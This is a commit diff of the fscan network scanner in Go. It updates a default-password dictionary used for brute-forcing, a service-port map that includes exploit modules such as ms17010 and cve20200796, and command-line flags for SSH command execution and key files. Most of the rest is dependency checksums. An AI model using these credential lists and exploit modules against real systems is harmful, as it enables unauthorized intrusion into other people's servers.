var Passwords = []string{"123456", "admin", "admin123", "root", "", "pass123", "pass@123", "password", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "P@ssw0rd!", "P@ssword", "p@ssword", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "huawei"}
var Passwords = []string{"123456", "admin", "admin123", "root", "", "pass123", "pass@123", "password", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4", "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ", "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456"}
var PORTList = map[string]int{
"ftp": 21,
"ssh": 22,
"mem": 11211,
"mgo": 27017,
"findnet": 135,
"netbios": 139,
"smb": 445,
"mssql": 1433,
"mysql": 3306,
"psql": 5432,
"redis": 6379,
"mysql": 3306,
"smb": 445,
"fcgi": 9000,
"mem": 11211,
"mgo": 27017,
"ms17010": 1000001,
"cve20200796": 1000002,
"web": 1000003,
"findnet": 135,
"netbios": 139,
"smb2": 1000004,
"all": 0,
"portscan": 0,
"icmp": 0,
@@ -36,20 +37,24 @@ var PORTList = map[string]int{
var Outputfile = getpath() + "result.txt"
var IsSave = true
var Webport = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1118,1888,2008,2020,2100,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,12018,12443,14000,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,21000,21501,21502,28018"
var DefaultPorts = "21,22,80,81,135,139,443,445,1433,3306,5432,6379,7001,8000,8080,8089,9200,11211,27017"
var DefaultPorts = "21,22,80,81,135,139,443,445,1433,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017"
type HostInfo struct {
Host string
Ports string
Domain string
Url string
Path string
Timeout int64
Scantype string
Command string
SshKey string
Username string
Password string
Usernames []string
Passwords []string
Infostr []string
Hash string
}
type PocInfo struct {
@@ -85,4 +90,5 @@ var (
UrlFile string
Urls []string
NoPorts string
SC string
)
+3 -1
View File
@@ -11,7 +11,7 @@ func Banner() {
/ /_\/____/ __|/ __| '__/ _` + "`" + ` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.6.0
fscan version: 1.6.3
`
print(banner)
}
@@ -22,11 +22,13 @@ func Flag(Info *HostInfo) {
flag.StringVar(&Info.Ports, "p", DefaultPorts, "Select a port,for example: 22 | 1-65535 | 22,80,3306")
flag.StringVar(&NoPorts, "pn", "", "the ports no scan,as: -pn 445")
flag.StringVar(&Info.Command, "c", "", "exec command (ssh)")
flag.StringVar(&Info.SshKey, "sshkey", "", "sshkey file (id_rsa)")
flag.StringVar(&Info.Domain, "domain", "", "smb domain")
flag.StringVar(&Info.Username, "user", "", "username")
flag.StringVar(&Info.Password, "pwd", "", "password")
flag.Int64Var(&Info.Timeout, "time", 3, "Set timeout")
flag.StringVar(&Info.Scantype, "m", "all", "Select scan type ,as: -m ssh")
flag.StringVar(&Info.Path, "path", "", "fcgi、smb romote file path")
flag.IntVar(&Threads, "t", 600, "Thread nums")
flag.StringVar(&HostFile, "hf", "", "host file, -hs ip.txt")
flag.StringVar(&Userfile, "userf", "", "username file")
+5 -5
View File
@@ -18,13 +18,13 @@ var WaitTime int64
var Silent bool
var LogWG sync.WaitGroup
func init() {
go SaveLog()
}
func LogSuccess(result string) {
LogWG.Add(1)
LogSucTime = time.Now().Unix()
if Start {
go SaveLog()
Start = false
}
Results <- result
}
@@ -73,9 +73,9 @@ func CheckErrs(err error) bool {
"established connection failed", "connection attempt failed",
"Unable to read", "is not allowed to connect to this",
"no pg_hba.conf entry",
"no supported methods remain",
"No connection could be made",
"invalid packet size",
"bad connection",
}
for _, key := range errs {
if strings.Contains(strings.ToLower(err.Error()), strings.ToLower(key)) {
+2 -1
View File
@@ -9,8 +9,9 @@ require (
github.com/google/cel-go v0.6.0
github.com/jlaffaye/ftp v0.0.0-20210307004419-5d4190119067
github.com/lib/pq v1.10.1
github.com/saintfish/chardet v0.0.0-20120816061221-3af4cd4741ca
github.com/stacktitan/smb v0.0.0-20190531122847-da9a425dceb8
golang.org/x/crypto v0.0.0-20190325154230-a5d413f7728c
golang.org/x/crypto v0.0.0-20200728195943-123391ffb6de
golang.org/x/net v0.0.0-20200301022130-244492dfa37a
golang.org/x/text v0.3.2
google.golang.org/genproto v0.0.0-20200416231807-8751e049a2a0
+26 -86
View File
@@ -4,155 +4,95 @@ github.com/antlr/antlr4 v0.0.0-20200503195918-621b933c7a7f h1:0cEys61Sr2hUBEXfNV
github.com/antlr/antlr4 v0.0.0-20200503195918-621b933c7a7f/go.mod h1:T7PbCXFs94rrTttyxjbyT5+/1V8T2TYDejxUfHJjw1Y=
github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU=
github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw=
github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc=
github.com/cncf/udpa/go v0.0.0-20201120205902-5459f2c99403/go.mod h1:WmhPx2Nbnhtbo57+VJT5O0JRkEi1Wbu0z5j0R8u5Hbk=
github.com/davecgh/go-spew v1.1.0 h1:ZDRjVQ15GmhC3fiQ8ni8+OwkZQO4DARzQgrnXU1Liz8=
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/denisenkom/go-mssqldb v0.10.0 h1:QykgLZBorFE95+gO3u9esLd0BmbvpWp0/waNNZfHBM8=
github.com/denisenkom/go-mssqldb v0.10.0/go.mod h1:xbL0rPBG9cCiLr28tMa8zpbdarY27NDyej4t/EjAShU=
github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98=
github.com/envoyproxy/go-control-plane v0.9.9-0.20201210154907-fd9021fe5dad/go.mod h1:cXg6YxExXjJnVBQHBLXeUAgxn2UodCpnH306RInaBQk=
github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c=
github.com/geoffgarside/ber v1.1.0 h1:qTmFG4jJbwiSzSXoNJeHcOprVzZ8Ulde2Rrrifu5U9w=
github.com/geoffgarside/ber v1.1.0/go.mod h1:jVPKeCbj6MvQZhwLYsGwaGI52oUorHoHKNecGT85ZCc=
github.com/go-sql-driver/mysql v1.6.0 h1:BCTh4TKNUYmOmMUcQ3IipzF5prigylS7XXjEkfCHuOE=
github.com/go-sql-driver/mysql v1.6.0/go.mod h1:DCzpHaOWr8IXmIStZouvnhqoel9Qv2LBy8hT2VhHyBg=
github.com/golang-sql/civil v0.0.0-20190719163853-cb61b32ac6fe h1:lXe2qZdvpiX5WZkZR4hgp4KJVfY3nMkvmwbVkpv1rVY=
github.com/golang-sql/civil v0.0.0-20190719163853-cb61b32ac6fe/go.mod h1:8vg3r2VgvsThLBIFL93Qb5yWzgyZWhEmBwUJWevAkK0=
github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b h1:VKtxabqXZkF25pY9ekfRL6a582T4P37/31XEstQ5p58=
github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q=
github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A=
github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
github.com/golang/protobuf v1.4.0-rc.1/go.mod h1:ceaxUfeHdC40wWswd/P6IGgMaK3YpKi5j83Wpe3EHw8=
github.com/golang/protobuf v1.4.0-rc.1.0.20200221234624-67d41d38c208/go.mod h1:xKAWHe0F5eneWXFV3EuXVDTCmh+JuBKY0li0aMyXATA=
github.com/golang/protobuf v1.4.0-rc.2/go.mod h1:LlEzMj4AhA7rCAGe4KMBDvJI+AwstrUpVNzEA03Pprs=
github.com/golang/protobuf v1.4.0-rc.4.0.20200313231945-b860323f09d0/go.mod h1:WU3c8KckQ9AFe+yFwt9sWVRKCVIyN9cPHBJSNnbL67w=
github.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvqG2KuDX0=
github.com/golang/protobuf v1.4.1/go.mod h1:U8fpvMrcmy5pZrNK1lt4xCsGvpyWQ/VVv6QDs8UjoX8=
github.com/golang/protobuf v1.4.2/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI=
github.com/golang/protobuf v1.4.3/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI=
github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk=
github.com/golang/protobuf v1.5.2 h1:ROPKBNFfQgOUMifHyP+KYbvpjbdoFNs+aK7DXlji0Tw=
github.com/golang/protobuf v1.5.2/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY=
github.com/google/cel-go v0.7.3 h1:8v9BSN0avuGwrHFKNCjfiQ/CE6+D6sW+BDyOVoEeP6o=
github.com/google/cel-go v0.7.3/go.mod h1:4EtyFAHT5xNr0Msu0MJjyGxPUgdr9DlcaPyzLt/kkt8=
github.com/google/cel-spec v0.5.0/go.mod h1:Nwjgxy5CbjlPrtCWjeDjUyKMl8w41YBYGjsyDdqk0xA=
github.com/golang/protobuf v1.3.3/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw=
github.com/golang/protobuf v1.3.4 h1:87PNWwrRvUSnqS4dlcBU/ftvOIBep4sYuBLlh6rX2wk=
github.com/golang/protobuf v1.3.4/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw=
github.com/google/cel-go v0.6.0 h1:Li+angxmgvzlwDsPuFc1/nbqnq3gc4K/X7NrWjOADFI=
github.com/google/cel-go v0.6.0/go.mod h1:rHS68o5G1QcUv/ubiCoZ5nT5LHxRWWfS0qMzTgv42WQ=
github.com/google/cel-spec v0.4.0/go.mod h1:2pBM5cU4UKjbPDXBgwWkiwBsVgnxknuEJ7C5TDWwORQ=
github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M=
github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=
github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=
github.com/google/go-cmp v0.4.0 h1:xsAVV57WRhGj6kEIi8ReJzQlHHqcBYCElAvkovg3B/4=
github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.5.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.5.5 h1:Khx7svrCpmxxtHBq5j2mp/xVjsi8hQMfNLvJFAlrGgU=
github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/uuid v1.1.2/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/hirochachacha/go-smb2 v1.0.10 h1:fiSNyMOOlWzfdTVk6VtvxfDGqhjNDI2iYZjd/jdtmhk=
github.com/hirochachacha/go-smb2 v1.0.10/go.mod h1:8F1A4d5EZzrGu5R7PU163UcMRDJQl4FtcxjBfsY8TZE=
github.com/jlaffaye/ftp v0.0.0-20210307004419-5d4190119067 h1:P2S26PMwXl8+ZGuOG3C69LG4be5vHafUayZm9VPw3tU=
github.com/jlaffaye/ftp v0.0.0-20210307004419-5d4190119067/go.mod h1:2lmrmq866uF2tnje75wQHzmPXhmSWUt7Gyx2vgK1RCU=
github.com/lib/pq v1.10.0 h1:Zx5DJFEYQXio93kgXnQ09fXNiUKsqv4OUEu2UtGcB1E=
github.com/lib/pq v1.10.0/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o=
github.com/lib/pq v1.10.1 h1:6VXZrLU0jHBYyAqrSPa+MgPfnSvTPuMgK+k0o5kVFWo=
github.com/lib/pq v1.10.1/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA=
github.com/saintfish/chardet v0.0.0-20120816061221-3af4cd4741ca h1:NugYot0LIVPxTvN8n+Kvkn6TrbMyxQiuvKdEwFdR9vI=
github.com/saintfish/chardet v0.0.0-20120816061221-3af4cd4741ca/go.mod h1:uugorj2VCxiV1x+LzaIdVa9b4S4qGAcH6cbhh4qVxOU=
github.com/stacktitan/smb v0.0.0-20190531122847-da9a425dceb8 h1:GVFkBBJAEO3CpzIYcDDBdpUObzKwVW9okNWcLYL/nnU=
github.com/stacktitan/smb v0.0.0-20190531122847-da9a425dceb8/go.mod h1:phLSETqH/UJsBtwDVBxSfJKwwkbJcGyy2Q/h4k+bmww=
github.com/stoewer/go-strcase v1.2.0 h1:Z2iHWqGXH00XYgqDmNgQbIBxf3wrNq0F3feEy0ainaU=
github.com/stoewer/go-strcase v1.2.0/go.mod h1:IBiWB2sKIp3wVVQ3Y035++gc+knqhUQag1KpM8ahLw8=
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA=
github.com/stretchr/testify v1.6.1 h1:hDPOHmpOpP40lSULcqw7IrRb/u7w6RpDC9399XyoNd0=
github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
golang.org/x/crypto v0.0.0-20190325154230-a5d413f7728c/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
golang.org/x/crypto v0.0.0-20210415154028-4f45737414dc h1:+q90ECDSAQirdykUN6sPEiBXBsp8Csjcca8Oy7bgLTA=
golang.org/x/crypto v0.0.0-20210415154028-4f45737414dc/go.mod h1:T9bdIzuCu7OtxOm1hfPfRQxPLYneinmdGuTeoZ9dtd4=
golang.org/x/crypto v0.0.0-20200728195943-123391ffb6de h1:ikNHVSjEfnvz6sxdSPCaPt572qowuyMDMJLLm3Db3ig=
golang.org/x/crypto v0.0.0-20200728195943-123391ffb6de/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE=
golang.org/x/lint v0.0.0-20190227174305-5b3e6a55c961/go.mod h1:wehouNa3lNwaWXcvxsM5YxQ5yQlVC4a0KAMCusXpPoU=
golang.org/x/lint v0.0.0-20190313153728-d0100b6bd8b3/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc=
golang.org/x/lint v0.0.0-20201208152925-83fdc39ff7b5/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY=
golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg=
golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20190213061140-3a22650c66bd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20200301022130-244492dfa37a h1:GuSPYbZzB5/dcLNCwLQLsg3obCJtX9IJhpXkvY7kzk0=
golang.org/x/net v0.0.0-20200301022130-244492dfa37a/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU=
golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
golang.org/x/net v0.0.0-20210316092652-d523dce5a7f4/go.mod h1:RBQZq4jEuRlivfhVLdyRGr576XBO4/greRjx4P4O3yc=
golang.org/x/net v0.0.0-20210420072503-d25e30425868 h1:mHVdVrNGft0Bv5N0WIf3/ujpDOQOe6KxvwlIikPbMr0=
golang.org/x/net v0.0.0-20210420072503-d25e30425868/go.mod h1:9tjilg8BloeKEkVJvy7fQ90B1CfIiPueXVOjqfkSzI8=
golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=
golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200302150141-5c8b2ff67527 h1:uYVVQ9WP/Ds2ROhcaGPeIdVq0RIXVLwsHlnvJ+cT1So=
golang.org/x/sys v0.0.0-20200302150141-5c8b2ff67527/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210119212857-b64e53b001e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210315160823-c6e025ad8005/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210320140829-1e4c9ba3b0c4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44 h1:Bli41pIlzTzf3KEY06n+xnzK/BESIg2ze4Pgfh/aI8c=
golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1 h1:v+OssWQX+hTHEmOBgwxdZxK4zHq3yOs8F9J7mk0PY8E=
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.2 h1:tW2bmiBqwgJj/UpqtC8EpXEZVYOwU0yG4iWbprSVAcs=
golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk=
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.3.5/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.3.6 h1:aRYxNxv6iGQlyVaZmk6ZgYEDa+Jg18DxebPSrd6bg1M=
golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY=
golang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=
golang.org/x/tools v0.0.0-20190524140312-2c0ae7006135/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q=
golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
golang.org/x/tools v0.1.0/go.mod h1:xkSsbof2nBLbhDlRMhhhyNLN/zl3eTqcnHD5viDpcZ0=
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 h1:go1bK/D/BFZV2I8cIQd1NKEZ+0owSTG1fDTci4IqFcE=
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM=
google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4=
google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc=
google.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc=
google.golang.org/genproto v0.0.0-20200526211855-cb27e3aa2013/go.mod h1:NbSheEEYHJ7i3ixzK3sjbqSGDJWnxyFXZblF3eUsNvo=
google.golang.org/genproto v0.0.0-20201102152239-715cce707fb0/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
google.golang.org/genproto v0.0.0-20210416161957-9910b6c460de h1:+nG/xknR+Gc5ByHOtK1dT0Pl3LYo8NLR+Jz3XeBeGEg=
google.golang.org/genproto v0.0.0-20210416161957-9910b6c460de/go.mod h1:P3QM42oQyzQSnHPnZ/vqoCdDmzH28fzWByN9asMeM8A=
google.golang.org/genproto v0.0.0-20200305110556-506484158171/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
google.golang.org/genproto v0.0.0-20200416231807-8751e049a2a0 h1:N5O9PpTbQrkvH0IQ1q+mmGyg8Gt6iKcu6b6+gmz3jnA=
google.golang.org/genproto v0.0.0-20200416231807-8751e049a2a0/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c=
google.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg=
